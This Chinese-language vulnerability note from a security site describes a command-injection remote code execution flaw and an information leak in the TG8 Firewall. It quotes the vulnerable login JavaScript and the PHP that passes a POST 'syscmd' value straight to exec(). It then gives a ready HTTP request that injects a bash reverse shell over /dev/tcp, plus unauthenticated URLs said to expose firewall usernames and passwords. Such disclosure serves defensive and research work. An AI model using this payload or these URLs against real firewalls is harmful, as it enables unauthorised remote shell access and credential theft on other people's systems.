menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right TG8 Firewall RCE 和 信息泄露 chevron_right TG8 Firewall RCE 和 信息泄露.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    TG8 Firewall RCE 和 信息泄露.md
    2.46 KB / 2021-07-15 20:05:11
        #漏洞描述
    
    TG8 Firewall RCE 和 信息泄露
    
    #漏洞影响
    
    TG8防火墙
    
    #代码审计
    
    该漏洞原因为在index.php文件中调用了runphpcmd.php,其中一行代码为
    ```
    'sudo /home/TG8/v3/syscmd/check_gui_login.sh ' + username + ' ' + pass;
    ```
    从以上可以看到以sudo来调用cmd,显然这里我们可以进行替换,进行任意命令执行。但是我们还有看一下runphpcmd.php里面是否有对其的限制和过滤,runphpcmd.php源码为:
    ```
    function checkLogin() {
    var username = $('input[name=u]').val();
    var pass = $('input[name=p]').val();
    var cmd = 'sudo /home/TG8/v3/syscmd/check_gui_login.sh ' + username + ' ' + pass;
        $.ajax({
    url: "runphpcmd.php",
    type: "post",
    dataType: "json",
    cache: "false",
    data: {
    syscmd: cmd
          },
    success: function (x) {
    if (x == 'OK') {
              ok(username);
            } else {
              failed();
            }
          },
    error: function () {
          ok(username);
    // alert("failure to excute the command");
          }
        })
      }
    ```
    从以上源码可以看出来,并没有对syscmd的内容进行验证,结果直接就以json格式返回给调用者。
    ```
    <?php
      header('Content-Type: application/json');
      $response= array();
      $output= array();
      $cmd_1 = $_POST['syscmd'];
      $data = 'cmd= '.$cmd_1."\n";
      $fp = fopen('/opt/phpJS.log', 'a');
      fwrite($fp, $data);
      exec($cmd_1,$output,$ret);
      $data = ' output ='. json_encode($output)."\n*******************************************************\n";
      $fp = fopen('/opt/phpJS.log', 'a');
      fwrite($fp, $data);
      $response[] = array("result" => $output);
    // Encoding array in JSON format
    echo json_encode($output);
    ?>
    ```
    所以我们就可以构造payload了,如下:
    ```
    POST /admin/runphpcmd.php HTTP/1.1
    Host: 127.0.0.1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0
    Accept: application/json, text/javascript, */*; q=0.01
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    X-Requested-With: XMLHttpRequest
    Content-Length: 68
    Connection: keep-alive
    syscmd=sudo+%2Fhome%2FTG8%2Fv3%2Fsyscmd%2Fcheck_gui_login.sh+%3Bbash%2F-i%2F>&%2F/dev/tcp/127.0.0.1/10086%2F0>&1%3B++local
    ```
    空格用%2f替换,‘;’用%3B替换
    
    ##2、信息泄露
    任何用户都可以通过访问以下url路径来枚举防火墙的用户和密码信息。
    ```
    http://127.0.0.1/data/w-341.tg
    http://127.0.0.1/data/w-342.tg
    http://127.0.0.1/data/r-341.tg
    http://127.0.0.1/data/r-342.tg
    ```
    
    links
    file_download